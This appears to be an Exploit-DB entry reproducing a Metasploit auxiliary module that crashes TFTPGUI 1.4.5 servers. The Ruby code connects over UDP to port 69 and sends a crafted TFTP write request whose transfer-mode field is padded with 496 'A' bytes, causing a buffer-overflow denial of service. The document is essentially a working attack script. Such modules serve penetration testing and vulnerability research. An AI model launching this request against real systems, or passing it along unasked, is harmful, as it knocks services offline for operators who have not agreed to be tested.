TFTPGUI 1.4.5 - Long Transport Mode Overflow Denial of Service (Metasploit)

# Title: TFTPGUI v1.4.5 Long Transport Mode Overflow
# EDB-ID: 12482
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Jeremiah Talamantes
# Published: 2010-05-02
# Verified: yes

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/ 
##

##
#
# TFTPGUI v1.4.5 Long Transport Mode Overflow
#
# Tested on: Windows XP, SP2 (EN)
#
# Date tested: 5/2/2010
#
#
# |~Greetz to Devin @ infointox.net~|
#
# Discovered by: Jeremiah Talamantes
# RedTeam Security
# http://www.redteamsecure.com
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Udp
	include Msf::Auxiliary::Dos

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'TFTPGUI v1.4.5 Long Transport Mode Overflow',
			'Description'    => %q{
				The TFTPUtil GUI server version 1.4.5 can be
				DOSed by sending a specially crafted request. Discovered by
				Jeremiah Talamantes at RedTeam Security. 
				Greetz to Devin @ infointox.net.
			},
			'Author'         => 'Jeremiah Talamantes (RedTeam Security)',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[ 
					[ 'URL', 'http://www.redteamsecure.com/labs/post/37/redteam-discovers-0-day-in-tftpgui'], 
					[ 'URL', 'http://www.exploit-db.com/exploits/12482'], 
					[ 'URL', 'https://www.securityfocus.com/bid/39872'],
				],
			'DisclosureDate' => 'May 02 2010'))

		register_options([Opt::RPORT(69)])
	end

	def run
		connect_udp
		print_status("Sending naughty request...")
		$fn = "A"
		$md = "A" * 496
		$stuff = "\00\x02" + $fn + "\0" + $md + "\0"
		udp_sock.put($stuff)		
		disconnect_udp
	end
end